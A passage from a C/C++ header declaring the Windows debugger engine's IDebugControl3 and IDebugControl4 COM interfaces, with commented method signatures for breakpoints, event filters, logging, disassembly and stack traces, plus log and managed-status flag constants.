Qualifier\n ) PURE;\n // Returns the type of physical processors in\n // the machine.\n // Returns one of the IMAGE_FILE_MACHINE values.\n STDMETHOD(GetActualProcessorType)(\n THIS_\n __out PULONG Type\n ) PURE;\n // Returns the type of processor used in the\n // current processor context.\n STDMETHOD(GetExecutingProcessorType)(\n THIS_\n __out PULONG Type\n ) PURE;\n // Query all the possible processor types that\n // may be encountered during this debug session.\n STDMETHOD(GetNumberPossibleExecutingProcessorTypes)(\n THIS_\n __out PULONG Number\n ) PURE;\n STDMETHOD(GetPossibleExecutingProcessorTypes)(\n THIS_\n __in ULONG Start,\n __in ULONG Count,\n __out_ecount(Count) PULONG Types\n ) PURE;\n // Get the number of actual processors in\n // the machine.\n STDMETHOD(GetNumberProcessors)(\n THIS_\n __out PULONG Number\n ) PURE;\n // PlatformId is one of the VER_PLATFORM values.\n // Major and minor are as given in the NT\n // kernel debugger protocol.\n // ServicePackString and ServicePackNumber indicate the\n // system service pack level. ServicePackNumber is not\n // available in some sessions where the service pack level\n // is only expressed as a string. The service pack information\n // will be empty if the system does not have a service pack\n // applied.\n // The build string is string information identifying the\n // particular build of the system. The build string is\n // empty if the system has no particular identifying\n // information.\n STDMETHOD(GetSystemVersion)(\n THIS_\n __out PULONG PlatformId,\n __out PULONG Major,\n __out PULONG Minor,\n __out_ecount_opt(ServicePackStringSize) PSTR ServicePackString,\n __in ULONG ServicePackStringSize,\n __out_opt PULONG ServicePackStringUsed,\n __out PULONG ServicePackNumber,\n __out_ecount_opt(BuildStringSize) PSTR BuildString,\n __in ULONG BuildStringSize,\n __out_opt PULONG BuildStringUsed\n ) PURE;\n // Returns the page size for the currently executing\n // processor context. The page size may vary between\n // processor types.\n STDMETHOD(GetPageSize)(\n THIS_\n __out PULONG Size\n ) PURE;\n // Returns S_OK if the current processor context uses\n // 64-bit addresses, otherwise S_FALSE.\n STDMETHOD(IsPointer64Bit)(\n THIS\n ) PURE;\n // Reads the bugcheck data area and returns the\n // current contents. This method only works\n // in kernel debugging sessions.\n STDMETHOD(ReadBugCheckData)(\n THIS_\n __out PULONG Code,\n __out PULONG64 Arg1,\n __out PULONG64 Arg2,\n __out PULONG64 Arg3,\n __out PULONG64 Arg4\n ) PURE;\n\n // Query all the processor types supported by\n // the engine. This is a complete list and is\n // not related to the machine running the engine\n // or the debuggee.\n STDMETHOD(GetNumberSupportedProcessorTypes)(\n THIS_\n __out PULONG Number\n ) PURE;\n STDMETHOD(GetSupportedProcessorTypes)(\n THIS_\n __in ULONG Start,\n __in ULONG Count,\n __out_ecount(Count) PULONG Types\n ) PURE;\n // Returns a full, descriptive name and an\n // abbreviated name for a processor type.\n STDMETHOD(GetProcessorTypeNames)(\n THIS_\n __in ULONG Type,\n __out_ecount_opt(FullNameBufferSize) PSTR FullNameBuffer,\n __in ULONG FullNameBufferSize,\n __out_opt PULONG FullNameSize,\n __out_ecount_opt(AbbrevNameBufferSize) PSTR AbbrevNameBuffer,\n __in ULONG AbbrevNameBufferSize,\n __out_opt PULONG AbbrevNameSize\n ) PURE;\n\n // Gets and sets the type of processor to\n // use when doing things like setting\n // breakpoints, accessing registers,\n // getting stack traces and so on.\n STDMETHOD(GetEffectiveProcessorType)(\n THIS_\n __out PULONG Type\n ) PURE;\n STDMETHOD(SetEffectiveProcessorType)(\n THIS_\n __in ULONG Type\n ) PURE;\n\n // Returns information about whether and how\n // the debuggee is running. Status will\n // be GO if the debuggee is running and\n // BREAK if it isnt.\n // If no debuggee exists the status is\n // NO_DEBUGGEE.\n // This method is reentrant.\n STDMETHOD(GetExecutionStatus)(\n THIS_\n __out PULONG Status\n ) PURE;\n // Changes the execution status of the\n // engine from stopped to running.\n // Status must be one of the go or step\n // status values.\n STDMETHOD(SetExecutionStatus)(\n THIS_\n __in ULONG Status\n ) PURE;\n\n // Controls what code interpretation level the debugger\n // runs at. The debugger checks the code level when\n // deciding whether to step by a source line or\n // assembly instruction along with other related operations.\n STDMETHOD(GetCodeLevel)(\n THIS_\n __out PULONG Level\n ) PURE;\n STDMETHOD(SetCodeLevel)(\n THIS_\n __in ULONG Level\n ) PURE;\n\n // Gets and sets engine control flags.\n // These methods are reentrant.\n STDMETHOD(GetEngineOptions)(\n THIS_\n __out PULONG Options\n ) PURE;\n STDMETHOD(AddEngineOptions)(\n THIS_\n __in ULONG Options\n ) PURE;\n STDMETHOD(RemoveEngineOptions)(\n THIS_\n __in ULONG Options\n ) PURE;\n STDMETHOD(SetEngineOptions)(\n THIS_\n __in ULONG Options\n ) PURE;\n\n // Gets and sets control values for\n // handling system error events.\n // If the system error level is less\n // than or equal to the given levels\n // the error may be displayed and\n // the default break for the event\n // may be set.\n STDMETHOD(GetSystemErrorControl)(\n THIS_\n __out PULONG OutputLevel,\n __out PULONG BreakLevel\n ) PURE;\n STDMETHOD(SetSystemErrorControl)(\n THIS_\n __in ULONG OutputLevel,\n __in ULONG BreakLevel\n ) PURE;\n\n // The command processor supports simple\n // string replacement macros in Evaluate and\n // Execute. There are currently ten macro\n // slots available. Slots 0-9 map to\n // the command invocations $u0-$u9.\n STDMETHOD(GetTextMacro)(\n THIS_\n __in ULONG Slot,\n __out_ecount_opt(BufferSize) PSTR Buffer,\n __in ULONG BufferSize,\n __out_opt PULONG MacroSize\n ) PURE;\n STDMETHOD(SetTextMacro)(\n THIS_\n __in ULONG Slot,\n __in PCSTR Macro\n ) PURE;\n\n // Controls the default number radix used\n // in expressions and commands.\n STDMETHOD(GetRadix)(\n THIS_\n __out PULONG Radix\n ) PURE;\n STDMETHOD(SetRadix)(\n THIS_\n __in ULONG Radix\n ) PURE;\n\n // Evaluates the given expression string and\n // returns the resulting value.\n // If DesiredType is DEBUG_VALUE_INVALID then\n // the natural type is used.\n // RemainderIndex, if provided, is set to the index\n // of the first character in the input string that was\n // not used when evaluating the expression.\n STDMETHOD(Evaluate)(\n THIS_\n __in PCSTR Expression,\n __in ULONG DesiredType,\n __out PDEBUG_VALUE Value,\n __out_opt PULONG RemainderIndex\n ) PURE;\n // Attempts to convert the input value to a value\n // of the requested type in the output value.\n // Conversions can fail if no conversion exists.\n // Successful conversions may be lossy.\n STDMETHOD(CoerceValue)(\n THIS_\n __in PDEBUG_VALUE In,\n __in ULONG OutType,\n __out PDEBUG_VALUE Out\n ) PURE;\n STDMETHOD(CoerceValues)(\n THIS_\n __in ULONG Count,\n __in_ecount(Count) PDEBUG_VALUE In,\n __in_ecount(Count) PULONG OutTypes,\n __out_ecount(Count) PDEBUG_VALUE Out\n ) PURE;\n\n // Executes the given command string.\n // If the string has multiple commands\n // Execute will not return until all\n // of them have been executed. If this\n // requires waiting for the debuggee to\n // execute an internal wait will be done\n // so Execute can take an arbitrary amount\n // of time.\n STDMETHOD(Execute)(\n THIS_\n __in ULONG OutputControl,\n __in PCSTR Command,\n __in ULONG Flags\n ) PURE;\n // Executes the given command file by\n // reading a line at a time and processing\n // it with Execute.\n STDMETHOD(ExecuteCommandFile)(\n THIS_\n __in ULONG OutputControl,\n __in PCSTR CommandFile,\n __in ULONG Flags\n ) PURE;\n\n // Breakpoint interfaces are described\n // elsewhere in this section.\n STDMETHOD(GetNumberBreakpoints)(\n THIS_\n __out PULONG Number\n ) PURE;\n // It is possible for this retrieval function to\n // fail even with an index within the number of\n // existing breakpoints if the breakpoint is\n // a private breakpoint.\n STDMETHOD(GetBreakpointByIndex)(\n THIS_\n __in ULONG Index,\n __out PDEBUG_BREAKPOINT* Bp\n ) PURE;\n STDMETHOD(GetBreakpointById)(\n THIS_\n __in ULONG Id,\n __out PDEBUG_BREAKPOINT* Bp\n ) PURE;\n // If Ids is non-NULL the Count breakpoints\n // referred to in the Ids array are returned,\n // otherwise breakpoints from index Start to\n // Start + Count 1 are returned.\n STDMETHOD(GetBreakpointParameters)(\n THIS_\n __in ULONG Count,\n __in_ecount_opt(Count) PULONG Ids,\n __in ULONG Start,\n __out_ecount(Count) PDEBUG_BREAKPOINT_PARAMETERS Params\n ) PURE;\n // Breakpoints are created empty and disabled.\n // When their parameters have been set they\n // should be enabled by setting the ENABLE flag.\n // If DesiredId is DEBUG_ANY_ID then the\n // engine picks an unused ID. If DesiredId\n // is any other number the engine attempts\n // to use the given ID for the breakpoint.\n // If another breakpoint exists with that ID\n // the call will fail.\n STDMETHOD(AddBreakpoint)(\n THIS_\n __in ULONG Type,\n __in ULONG DesiredId,\n __out PDEBUG_BREAKPOINT* Bp\n ) PURE;\n // Breakpoint interface is invalid after this call.\n STDMETHOD(RemoveBreakpoint)(\n THIS_\n __in PDEBUG_BREAKPOINT Bp\n ) PURE;\n\n // Control and use extension DLLs.\n STDMETHOD(AddExtension)(\n THIS_\n __in PCSTR Path,\n __in ULONG Flags,\n __out PULONG64 Handle\n ) PURE;\n STDMETHOD(RemoveExtension)(\n THIS_\n __in ULONG64 Handle\n ) PURE;\n STDMETHOD(GetExtensionByPath)(\n THIS_\n __in PCSTR Path,\n __out PULONG64 Handle\n ) PURE;\n // If Handle is zero the extension\n // chain is walked searching for the\n // function.\n STDMETHOD(CallExtension)(\n THIS_\n __in ULONG64 Handle,\n __in PCSTR Function,\n __in_opt PCSTR Arguments\n ) PURE;\n // GetExtensionFunction works like\n // GetProcAddress on extension DLLs\n // to allow raw function-call-level\n // interaction with extension DLLs.\n // Such functions do not need to\n // follow the standard extension prototype\n // if they are not going to be called\n // through the text extension interface.\n // This function cannot be called remotely.\n STDMETHOD(GetExtensionFunction)(\n THIS_\n __in ULONG64 Handle,\n __in PCSTR FuncName,\n __out FARPROC* Function\n ) PURE;\n // These methods return alternate\n // extension interfaces in order to allow\n // interface-style extension DLLs to mix in\n // older extension calls.\n // Structure sizes must be initialized before\n // the call.\n // These methods cannot be called remotely.\n STDMETHOD(GetWindbgExtensionApis32)(\n THIS_\n __inout PWINDBG_EXTENSION_APIS32 Api\n ) PURE;\n STDMETHOD(GetWindbgExtensionApis64)(\n THIS_\n __inout PWINDBG_EXTENSION_APIS64 Api\n ) PURE;\n\n // The engine provides a simple mechanism\n // to filter common events. Arbitrarily complicated\n // filtering can be done by registering event callbacks\n // but simple event filtering only requires\n // setting the options of one of the predefined\n // event filters.\n // Simple event filters are either for specific\n // events and therefore have an enumerant or\n // they are for an exception and are based on\n // the exceptions code. Exception filters\n // are further divided into exceptions specially\n // handled by the engine, which is a fixed set,\n // and arbitrary exceptions.\n // All three groups of filters are indexed together\n // with the specific filters first, then the specific\n // exception filters and finally the arbitrary\n // exception filters.\n // The first specific exception is the default\n // exception. If an exception event occurs for\n // an exception without settings the default\n // exception settings are used.\n STDMETHOD(GetNumberEventFilters)(\n THIS_\n __out PULONG SpecificEvents,\n __out PULONG SpecificExceptions,\n __out PULONG ArbitraryExceptions\n ) PURE;\n // Some filters have descriptive text associated with them.\n STDMETHOD(GetEventFilterText)(\n THIS_\n __in ULONG Index,\n __out_ecount_opt(BufferSize) PSTR Buffer,\n __in ULONG BufferSize,\n __out_opt PULONG TextSize\n ) PURE;\n // All filters support executing a command when the\n // event occurs.\n STDMETHOD(GetEventFilterCommand)(\n THIS_\n __in ULONG Index,\n __out_ecount_opt(BufferSize) PSTR Buffer,\n __in ULONG BufferSize,\n __out_opt PULONG CommandSize\n ) PURE;\n STDMETHOD(SetEventFilterCommand)(\n THIS_\n __in ULONG Index,\n __in PCSTR Command\n ) PURE;\n STDMETHOD(GetSpecificFilterParameters)(\n THIS_\n __in ULONG Start,\n __in ULONG Count,\n __out_ecount(Count) PDEBUG_SPECIFIC_FILTER_PARAMETERS Params\n ) PURE;\n STDMETHOD(SetSpecificFilterParameters)(\n THIS_\n __in ULONG Start,\n __in ULONG Count,\n __in_ecount(Count) PDEBUG_SPECIFIC_FILTER_PARAMETERS Params\n ) PURE;\n // Some specific filters have arguments to further\n // qualify their operation.\n STDMETHOD(GetSpecificFilterArgument)(\n THIS_\n __in ULONG Index,\n __out_ecount_opt(BufferSize) PSTR Buffer,\n __in ULONG BufferSize,\n __out_opt PULONG ArgumentSize\n ) PURE;\n STDMETHOD(SetSpecificFilterArgument)(\n THIS_\n __in ULONG Index,\n __in PCSTR Argument\n ) PURE;\n // If Codes is non-NULL Start is ignored.\n STDMETHOD(GetExceptionFilterParameters)(\n THIS_\n __in ULONG Count,\n __in_ecount_opt(Count) PULONG Codes,\n __in ULONG Start,\n __out_ecount(Count) PDEBUG_EXCEPTION_FILTER_PARAMETERS Params\n ) PURE;\n // The codes in the parameter data control the application\n // of the parameter data. If a code is not already in\n // the set of filters it is added. If the ExecutionOption\n // for a code is REMOVE then the filter is removed.\n // Specific exception filters cannot be removed.\n STDMETHOD(SetExceptionFilterParameters)(\n THIS_\n __in ULONG Count,\n __in_ecount(Count) PDEBUG_EXCEPTION_FILTER_PARAMETERS Params\n ) PURE;\n // Exception filters support an additional command for\n // second-chance events.\n STDMETHOD(GetExceptionFilterSecondCommand)(\n THIS_\n __in ULONG Index,\n __out_ecount_opt(BufferSize) PSTR Buffer,\n __in ULONG BufferSize,\n __out_opt PULONG CommandSize\n ) PURE;\n STDMETHOD(SetExceptionFilterSecondCommand)(\n THIS_\n __in ULONG Index,\n __in PCSTR Command\n ) PURE;\n\n // Yields processing to the engine until\n // an event occurs. This method may\n // only be called by the thread that started\n // the debug session.\n // When an event occurs the engine carries\n // out all event processing such as calling\n // callbacks.\n // If the callbacks indicate that execution should\n // break the wait will return, otherwise it\n // goes back to waiting for a new event.\n // If the timeout expires, S_FALSE is returned.\n // The timeout is not currently supported for\n // kernel debugging.\n STDMETHOD(WaitForEvent)(\n THIS_\n __in ULONG Flags,\n __in ULONG Timeout\n ) PURE;\n\n // Retrieves information about the last event that occurred.\n // EventType is one of the event callback mask bits.\n // ExtraInformation contains additional event-specific\n // information. Not all events have additional information.\n STDMETHOD(GetLastEventInformation)(\n THIS_\n __out PULONG Type,\n __out PULONG ProcessId,\n __out PULONG ThreadId,\n __out_bcount_opt(ExtraInformationSize) PVOID ExtraInformation,\n __in ULONG ExtraInformationSize,\n __out_opt PULONG ExtraInformationUsed,\n __out_ecount_opt(DescriptionSize) PSTR Description,\n __in ULONG DescriptionSize,\n __out_opt PULONG DescriptionUsed\n ) PURE;\n\n // IDebugControl2.\n\n STDMETHOD(GetCurrentTimeDate)(\n THIS_\n __out PULONG TimeDate\n ) PURE;\n // Retrieves the number of seconds since the\n // machine started running.\n STDMETHOD(GetCurrentSystemUpTime)(\n THIS_\n __out PULONG UpTime\n ) PURE;\n\n // If the current session is a dump session,\n // retrieves any extended format information.\n STDMETHOD(GetDumpFormatFlags)(\n THIS_\n __out PULONG FormatFlags\n ) PURE;\n\n // The debugger has been enhanced to allow\n // arbitrary text replacements in addition\n // to the simple $u0-$u9 text macros.\n // Text replacement takes a given source\n // text in commands and converts it to the\n // given destination text. Replacements\n // are named by their source text so that\n // only one replacement for a source text\n // string can exist.\n STDMETHOD(GetNumberTextReplacements)(\n THIS_\n __out PULONG NumRepl\n ) PURE;\n // If SrcText is non-NULL the replacement\n // is looked up by source text, otherwise\n // Index is used to get the Nth replacement.\n STDMETHOD(GetTextReplacement)(\n THIS_\n __in_opt PCSTR SrcText,\n __in ULONG Index,\n __out_ecount_opt(SrcBufferSize) PSTR SrcBuffer,\n __in ULONG SrcBufferSize,\n __out_opt PULONG SrcSize,\n __out_ecount_opt(DstBufferSize) PSTR DstBuffer,\n __in ULONG DstBufferSize,\n __out_opt PULONG DstSize\n ) PURE;\n // Setting the destination text to\n // NULL removes the alias.\n STDMETHOD(SetTextReplacement)(\n THIS_\n __in PCSTR SrcText,\n __in_opt PCSTR DstText\n ) PURE;\n STDMETHOD(RemoveTextReplacements)(\n THIS\n ) PURE;\n // Outputs the complete list of current\n // replacements.\n STDMETHOD(OutputTextReplacements)(\n THIS_\n __in ULONG OutputControl,\n __in ULONG Flags\n ) PURE;\n\n // IDebugControl3.\n\n // Control options for assembly and disassembly.\n STDMETHOD(GetAssemblyOptions)(\n THIS_\n __out PULONG Options\n ) PURE;\n STDMETHOD(AddAssemblyOptions)(\n THIS_\n __in ULONG Options\n ) PURE;\n STDMETHOD(RemoveAssemblyOptions)(\n THIS_\n __in ULONG Options\n ) PURE;\n STDMETHOD(SetAssemblyOptions)(\n THIS_\n __in ULONG Options\n ) PURE;\n\n // Control the expression syntax.\n STDMETHOD(GetExpressionSyntax)(\n THIS_\n __out PULONG Flags\n ) PURE;\n STDMETHOD(SetExpressionSyntax)(\n THIS_\n __in ULONG Flags\n ) PURE;\n // Look up a syntax by its abbreviated\n // name and set it.\n STDMETHOD(SetExpressionSyntaxByName)(\n THIS_\n __in PCSTR AbbrevName\n ) PURE;\n STDMETHOD(GetNumberExpressionSyntaxes)(\n THIS_\n __out PULONG Number\n ) PURE;\n STDMETHOD(GetExpressionSyntaxNames)(\n THIS_\n __in ULONG Index,\n __out_ecount_opt(FullNameBufferSize) PSTR FullNameBuffer,\n __in ULONG FullNameBufferSize,\n __out_opt PULONG FullNameSize,\n __out_ecount_opt(AbbrevNameBufferSize) PSTR AbbrevNameBuffer,\n __in ULONG AbbrevNameBufferSize,\n __out_opt PULONG AbbrevNameSize\n ) PURE;\n\n //\n // Some debug sessions have only a single\n // possible event, such as a snapshot dump\n // file; some have dynamic events, such as\n // a live debug session; and others may have\n // multiple events, such as a dump file that\n // contains snapshots from different points\n // in time. The following methods allow\n // discovery and selection of the available\n // events for a session.\n // Sessions with one or more static events\n // will be able to report all of the events\n // when queried. Sessions with dynamic events\n // will only report a single event representing\n // the current event.\n // Switching events constitutes execution and\n // changing the current event will alter the\n // execution status to a running state, after\n // which WaitForEvent must be used to process\n // the selected event.\n //\n\n // GetNumberEvents returns S_OK if this is the\n // complete set of events possible, such as for\n // a static session; or S_FALSE if other events\n // may be possible, such as for a dynamic session.\n STDMETHOD(GetNumberEvents)(\n THIS_\n __out PULONG Events\n ) PURE;\n // Sessions may have descriptive information for\n // the various events available. The amount of\n // information varies according to the specific\n // session and data.\n STDMETHOD(GetEventIndexDescription)(\n THIS_\n __in ULONG Index,\n __in ULONG Which,\n __in_opt PSTR Buffer,\n __in ULONG BufferSize,\n __out_opt PULONG DescSize\n ) PURE;\n STDMETHOD(GetCurrentEventIndex)(\n THIS_\n __out PULONG Index\n ) PURE;\n // SetNextEventIndex works like seek in that\n // it can set an absolute or relative index.\n // SetNextEventIndex works similarly to SetExecutionStatus\n // by putting the session into a running state, after\n // which the caller must call WaitForEvent. The\n // current event index only changes when WaitForEvent\n // is called.\n STDMETHOD(SetNextEventIndex)(\n THIS_\n __in ULONG Relation,\n __in ULONG Value,\n __out PULONG NextIndex\n ) PURE;\n};\n\n//\n// Log file flags.\n//\n\n#define DEBUG_LOG_DEFAULT 0x00000000\n#define DEBUG_LOG_APPEND 0x00000001\n#define DEBUG_LOG_UNICODE 0x00000002\n#define DEBUG_LOG_DML 0x00000004\n\n//\n// System version strings.\n//\n\n#define DEBUG_SYSVERSTR_SERVICE_PACK 0x00000000\n#define DEBUG_SYSVERSTR_BUILD 0x00000001\n\n//\n// GetManagedStatus flags and strings.\n//\n\n#define DEBUG_MANAGED_DISABLED 0x00000000\n#define DEBUG_MANAGED_ALLOWED 0x00000001\n#define DEBUG_MANAGED_DLL_LOADED 0x00000002\n\n#define DEBUG_MANSTR_NONE 0x00000000\n#define DEBUG_MANSTR_LOADED_SUPPORT_DLL 0x00000001\n#define DEBUG_MANSTR_LOAD_STATUS 0x00000002\n\n//\n// ResetManagedStatus flags.\n//\n\n// Reset state to default engine startup state with\n// no support loaded.\n#define DEBUG_MANRESET_DEFAULT 0x00000000\n// Force managed support DLL load attempt.\n#define DEBUG_MANRESET_LOAD_DLL 0x00000001\n\n#undef INTERFACE\n#define INTERFACE IDebugControl4\nDECLARE_INTERFACE_(IDebugControl4, IUnknown)\n{\n // IUnknown.\n STDMETHOD(QueryInterface)(\n THIS_\n __in REFIID InterfaceId,\n __out PVOID* Interface\n ) PURE;\n STDMETHOD_(ULONG, AddRef)(\n THIS\n ) PURE;\n STDMETHOD_(ULONG, Release)(\n THIS\n ) PURE;\n\n // IDebugControl.\n\n // Checks for a user interrupt, such a Ctrl-C\n // or stop button.\n // This method is reentrant.\n STDMETHOD(GetInterrupt)(\n THIS\n ) PURE;\n // Registers a user interrupt.\n // This method is reentrant.\n STDMETHOD(SetInterrupt)(\n THIS_\n __in ULONG Flags\n ) PURE;\n // Interrupting a user-mode process requires\n // access to some system resources that the\n // process may hold itself, preventing the\n // interrupt from occurring. The engine\n // will time-out pending interrupt requests\n // and simulate an interrupt if necessary.\n // These methods control the interrupt timeout.\n STDMETHOD(GetInterruptTimeout)(\n THIS_\n __out PULONG Seconds\n ) PURE;\n STDMETHOD(SetInterruptTimeout)(\n THIS_\n __in ULONG Seconds\n ) PURE;\n\n STDMETHOD(GetLogFile)(\n THIS_\n __out_ecount_opt(BufferSize) PSTR Buffer,\n __in ULONG BufferSize,\n __out_opt PULONG FileSize,\n __out PBOOL Append\n ) PURE;\n // Opens a log file which collects all\n // output. Output from every client except\n // those that explicitly disable logging\n // goes into the log.\n // Opening a log file closes any log file\n // already open.\n STDMETHOD(OpenLogFile)(\n THIS_\n __in PCSTR File,\n __in BOOL Append\n ) PURE;\n STDMETHOD(CloseLogFile)(\n THIS\n ) PURE;\n // Controls what output is logged.\n STDMETHOD(GetLogMask)(\n THIS_\n __out PULONG Mask\n ) PURE;\n STDMETHOD(SetLogMask)(\n THIS_\n __in ULONG Mask\n ) PURE;\n\n // Input requests input from all clients.\n // The first input that is returned is used\n // to satisfy the call. Other returned\n // input is discarded.\n STDMETHOD(Input)(\n THIS_\n __out_ecount(BufferSize) PSTR Buffer,\n __in ULONG BufferSize,\n __out_opt PULONG InputSize\n ) PURE;\n // This method is used by clients to return\n // input when it is available. It will\n // return S_OK if the input is used to\n // satisfy an Input call and S_FALSE if\n // the input is ignored.\n // This method is reentrant.\n STDMETHOD(ReturnInput)(\n THIS_\n __in PCSTR Buffer\n ) PURE;\n\n // Sends output through clients\n // output callbacks if the mask is allowed\n // by the current output control mask and\n // according to the output distribution\n // settings.\n STDMETHODV(Output)(\n THIS_\n __in ULONG Mask,\n __in PCSTR Format,\n ...\n ) PURE;\n STDMETHOD(OutputVaList)(\n THIS_\n __in ULONG Mask,\n __in PCSTR Format,\n __in va_list Args\n ) PURE;\n // The following methods allow direct control\n // over the distribution of the given output\n // for situations where something other than\n // the default is desired. These methods require\n // extra work in the engine so they should\n // only be used when necessary.\n STDMETHODV(ControlledOutput)(\n THIS_\n __in ULONG OutputControl,\n __in ULONG Mask,\n __in PCSTR Format,\n ...\n ) PURE;\n STDMETHOD(ControlledOutputVaList)(\n THIS_\n __in ULONG OutputControl,\n __in ULONG Mask,\n __in PCSTR Format,\n __in va_list Args\n ) PURE;\n\n // Displays the standard command-line prompt\n // followed by the given output. If Format\n // is NULL no additional output is produced.\n // Output is produced under the\n // DEBUG_OUTPUT_PROMPT mask.\n // This method only outputs the prompt; it\n // does not get input.\n STDMETHODV(OutputPrompt)(\n THIS_\n __in ULONG OutputControl,\n __in_opt PCSTR Format,\n ...\n ) PURE;\n STDMETHOD(OutputPromptVaList)(\n THIS_\n __in ULONG OutputControl,\n __in_opt PCSTR Format,\n __in va_list Args\n ) PURE;\n // Gets the text that would be displayed by OutputPrompt.\n STDMETHOD(GetPromptText)(\n THIS_\n __out_ecount_opt(BufferSize) PSTR Buffer,\n __in ULONG BufferSize,\n __out_opt PULONG TextSize\n ) PURE;\n // Outputs information about the current\n // debuggee state such as a register\n // summary, disassembly at the current PC,\n // closest symbol and others.\n // Uses the line prefix.\n STDMETHOD(OutputCurrentState)(\n THIS_\n __in ULONG OutputControl,\n __in ULONG Flags\n ) PURE;\n\n // Outputs the debugger and extension version\n // information. This method is reentrant.\n // Uses the line prefix.\n STDMETHOD(OutputVersionInformation)(\n THIS_\n __in ULONG OutputControl\n ) PURE;\n\n // In user-mode debugging sessions the\n // engine will set an event when\n // exceptions are continued. This can\n // be used to synchronize other processes\n // with the debuggers handling of events.\n // For example, this is used to support\n // the e argument to ntsd.\n STDMETHOD(GetNotifyEventHandle)(\n THIS_\n __out PULONG64 Handle\n ) PURE;\n STDMETHOD(SetNotifyEventHandle)(\n THIS_\n __in ULONG64 Handle\n ) PURE;\n\n STDMETHOD(Assemble)(\n THIS_\n __in ULONG64 Offset,\n __in PCSTR Instr,\n __out PULONG64 EndOffset\n ) PURE;\n STDMETHOD(Disassemble)(\n THIS_\n __in ULONG64 Offset,\n __in ULONG Flags,\n __out_ecount_opt(BufferSize) PSTR Buffer,\n __in ULONG BufferSize,\n __out_opt PULONG DisassemblySize,\n __out PULONG64 EndOffset\n ) PURE;\n // Returns the value of the effective address\n // computed for the last Disassemble, if there\n // was one.\n STDMETHOD(GetDisassembleEffectiveOffset)(\n THIS_\n __out PULONG64 Offset\n ) PURE;\n // Uses the line prefix if necessary.\n STDMETHOD(OutputDisassembly)(\n THIS_\n __in ULONG OutputControl,\n __in ULONG64 Offset,\n __in ULONG Flags,\n __out PULONG64 EndOffset\n ) PURE;\n // Produces multiple lines of disassembly output.\n // There will be PreviousLines of disassembly before\n // the given offset if a valid disassembly exists.\n // In all, there will be TotalLines of output produced.\n // The first and last line offsets are returned\n // specially and all lines offsets can be retrieved\n // through LineOffsets. LineOffsets will contain\n // offsets for each line where disassembly started.\n // When disassembly of a single instruction takes\n // multiple lines the initial offset will be followed\n // by DEBUG_INVALID_OFFSET.\n // Uses the line prefix.\n STDMETHOD(OutputDisassemblyLines)(\n THIS_\n __in ULONG OutputControl,\n __in ULONG PreviousLines,\n __in ULONG TotalLines,\n __in ULONG64 Offset,\n __in ULONG Flags,\n __out_opt PULONG OffsetLine,\n __out_opt PULONG64 StartOffset,\n __out_opt PULONG64 EndOffset,\n __out_ecount_opt(TotalLines) PULONG64 LineOffsets\n ) PURE;\n // Returns the offset of the start of\n // the instruction thats the given\n // delta away from the instruction\n // at the initial offset.\n // This routine does not check for\n // validity of the instruction or\n // the memory containing it.\n STDMETHOD(GetNearInstruction)(\n THIS_\n __in ULONG64 Offset,\n __in LONG Delta,\n __out PULONG64 NearOffset\n ) PURE;\n\n // Offsets can be passed in as zero to use the current\n // thread state.\n STDMETHOD(GetStackTrace)(\n THIS_\n __in ULONG64 FrameOffset,\n __in ULONG64 StackOffset,\n __in ULONG64 InstructionOffset,\n __out_ecount(FramesSize) PDEBUG_STACK_FRAME Frames,\n __in ULONG FramesSize,\n __out_opt PULONG FramesFilled\n ) PURE;\n // Does a simple stack trace to determine\n // what the current return address is.\n STDMETHOD(GetReturnOffset)(\n THIS_\n __out PULONG64 Offset\n ) PURE;\n // If Frames is NULL OutputStackTrace will\n // use GetStackTrace to get FramesSize frames\n // and then output them. The current register\n // values for frame, stack and instruction offsets\n // are used.\n // Uses the line prefix.\n STDMETHOD(OutputStackTrace)(\n THIS_\n __in ULONG OutputControl,\n __in_ecount_opt(FramesSize) PDEBUG_STACK_FRAME Frames,\n __in ULONG FramesSize,\n __in ULONG Flags\n ) PURE;\n\n // Returns information about the debuggee such\n // as user vs. kernel, dump vs. live, etc.\n STDMETHOD(GetDebuggeeType)(\n THIS_\n __out PULONG Class,\n __out PULONG Qualifier\n ) PURE;\n // Returns the type of physical processors in\n // the machine.\n // Returns one of the IMAGE_FILE_MACHINE values.\n STDMETHOD(GetActualProcessorType)(\n THIS_\n __out PULONG Type\n ) PURE;\n // Returns the type of processor used in the\n // current processor context.\n STDMETHOD(GetExecutingProcessorType)(\n THIS_\n __out PULONG Type\n ) PURE;\n // Query all the possible processor types that\n // may be encountered during this debug session.\n STDMETHOD(GetNumberPossibleExecutingProcessorTypes)(\n THIS_\n __out PULONG Number\n ) PURE;\n STDMETHOD(GetPossibleExecutingProcessorTypes)(\n THIS_\n __in ULONG Start,\n __in ULONG Count,\n __out_ecount(Count) PULONG Types\n ) PURE;\n // Get the number of actual processors in\n // the machine.\n STDMETHOD(GetNumberProcessors)(\n THIS_\n __out PULONG Number\n ) PURE;\n // PlatformId is one of the VER_PLATFORM values.\n // Major and minor are as given in the NT\n // kernel debugger protocol.\n // ServicePackString and ServicePackNumber indicate the\n // system service pack level. ServicePackNumber is not\n // available in some sessions where the service pack level\n // is only expressed as a string. The service pack information\n // will be empty if the system does not have a service pack\n // applied.\n // The build string is string information identifying the\n // particular build of the system. The build string is\n // empty if the system has no particular identifying\n // information.\n STDMETHOD(GetSystemVersion)(\n THIS_\n __out PULONG PlatformId,\n __out PULONG Major,\n __out PULONG Minor,\n __out_ecount_opt(ServicePackStringSize) PSTR ServicePackString,\n __in ULONG ServicePackStringSize,\n __out_opt PULONG ServicePackStringUsed,\n __out PULONG ServicePackNumber,\n __out_ecount_opt(BuildStringSize) PSTR BuildString,\n __in ULONG BuildStringSize,\n __out_opt PULONG BuildStringUsed\n ) PURE;\n // Returns the page size for the currently executing\n // processor context. The page size may vary between\n // processor types.\n STDMETHOD(GetPageSize)(\n THIS_\n __out PULONG Size\n ) PURE;\n // Returns S_OK if the current processor context uses\n // 64-bit addresses, otherwise S_FALSE.\n STDMETHOD(IsPointer64Bit)(\n THIS\n ) PURE;\n // Reads the bugcheck data area and returns the\n // current contents. This method only works\n // in kernel debugging sessions.\n STDMETHOD(ReadBugCheckData)(\n THIS_\n __out PULONG Code,\n __out PULONG64 Arg1,\n __out PULONG64 Arg2,\n __out PULONG64 Arg3,\n __out PULONG64 Arg4\n ) PURE;\n\n // Query all the processor types supported by\n // the engine. This is a complete list and is\n // not related to the machine running the engine\n // or the debuggee.\n STDMETHOD(GetNumberSupportedProcessorTypes)(\n THIS_\n __out PULONG Number\n ) PURE;\n STDMETHOD(GetSupportedProcessorTypes)(\n THIS_\n __in ULONG Start,\n __in ULONG Count,\n __out_ecount(Count) PULONG 